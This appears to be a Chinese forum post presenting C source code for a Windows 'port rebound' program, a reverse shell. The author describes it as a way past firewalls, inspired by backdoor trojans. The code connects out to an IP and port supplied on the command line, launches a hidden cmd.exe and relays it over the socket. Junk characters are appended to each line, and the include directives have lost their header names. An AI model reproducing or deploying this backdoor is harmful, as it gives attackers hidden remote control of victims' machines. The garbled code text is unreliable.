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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^wx%CdFm'P  
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/* ============================== ia%z+:G  
Rebound port in Windows NT @uI?  
By wind,2006/7 F_A%8)N  
===============================*/ h4hN1<ky\  
#include gk!E$NyE  
#include YG0PxZmi  
C5O5S:|'  
#pragma comment(lib,"wsock32.lib") w5F4"nl#O}  
B :.@Qi^  
void OutputShell(); GXDC@+$14  
SOCKET sClient; CQ6'b,L&   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .]W ;2G  
q"gqO%Wb|  
void main(int argc,char **argv) qP~WEcH`[  
{ ~7dM!g{W  
WSADATA stWsaData; G'ij?^?  
int nRet; o!aLZ3#X  
SOCKADDR_IN stSaiClient,stSaiServer; o&(wg(Rv  
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if(argc != 3)  f~w>v  
{ wP[xmO-%  
printf("Useage:\n\rRebound DestIP DestPort\n"); j$3rJA%rN  
return; %KGq*|GUu  
} si_W:mLF{a  
c |>=S)|  
WSAStartup(MAKEWORD(2,2),&stWsaData); Vy-28icZ`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R/^@cA  
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stSaiClient.sin_family = AF_INET; ]dvPx^`d{  
stSaiClient.sin_port = htons(0); ,i?)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9n1ZVP.ag  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O^5UB~  
{ KAd_zkUA  
printf("Bind Socket Failed!\n"); 6iG(C.b  
return; Zy^=fM  
} DH 6q7"@  
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stSaiServer.sin_family = AF_INET; I*EJHBsQ5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Zp?4uQ)[W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7ftR 4  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \gLxC  
{ k`Nyi )AGe  
printf("Connect Error!"); D^Te%qnW  
return; w/ TKRCO3  
} LO)GTyzvJ  
OutputShell(); {Fbg]'FQ  
} ]eE 1n2  
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void OutputShell() #~L!pKM  
{ B$rTwR"(-  
char szBuff[1024]; sf(i E(o  
SECURITY_ATTRIBUTES stSecurityAttributes; PgMbMH  
OSVERSIONINFO stOsversionInfo; z~,mRgc$B  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [ `7%sn]$  
STARTUPINFO stStartupInfo; 3UdU"d[75  
char *szShell; j~bAbOX12  
PROCESS_INFORMATION stProcessInformation; iOXZ ]Xj5  
unsigned long lBytesRead; i[\w%(83Fi  
/ s,tY74'5  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e@E17l-  
#ZJMlJ:q`"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Vtr3G.P^  
stSecurityAttributes.lpSecurityDescriptor = 0; ~.J,A\F  
stSecurityAttributes.bInheritHandle = TRUE; tJNIr5o  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w5`#q&?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GF8 -_X  
sYJL-2JX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C5|db{=\.*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #ly@;!M  
stStartupInfo.wShowWindow = SW_HIDE; OF[?Z  
stStartupInfo.hStdInput = hReadPipe; &iNwvA%9D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l _+6=u  
O sQkA2=  
GetVersionEx(&stOsversionInfo); #uSK#>H_!  
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switch(stOsversionInfo.dwPlatformId) =!BobC- [b  
{ afHaB/t{R  
case 1: [#Y' dFQ  
szShell = "command.com"; ciudRK63M  
break; ^"9* 'vTtc  
default: Rf)ke("  
szShell = "cmd.exe"; ?7 \\e;j}  
break; R_^/,^1  
} 0"78/6XIs  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p~&BChBl!=  
iib  
send(sClient,szMsg,77,0); 5u r)uz]w8  
while(1) UZGDdP  
{ ]ab#q=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XM/vDdR  
if(lBytesRead) mk!Dozb/  
{ lT'9u,6   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |Y},V_@d  
send(sClient,szBuff,lBytesRead,0); 5{K}?*3hJ  
} *FK`&(B+}  
else ](#&.q%5!  
{ ib$nc2BPb  
lBytesRead=recv(sClient,szBuff,1024,0); [84F0 9HU  
if(lBytesRead<=0) break; T-gk<V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g JjN<&,  
} }XR : 2  
} .m;G$X|3U  
)55\4<ty  
return; (u hd "  
}
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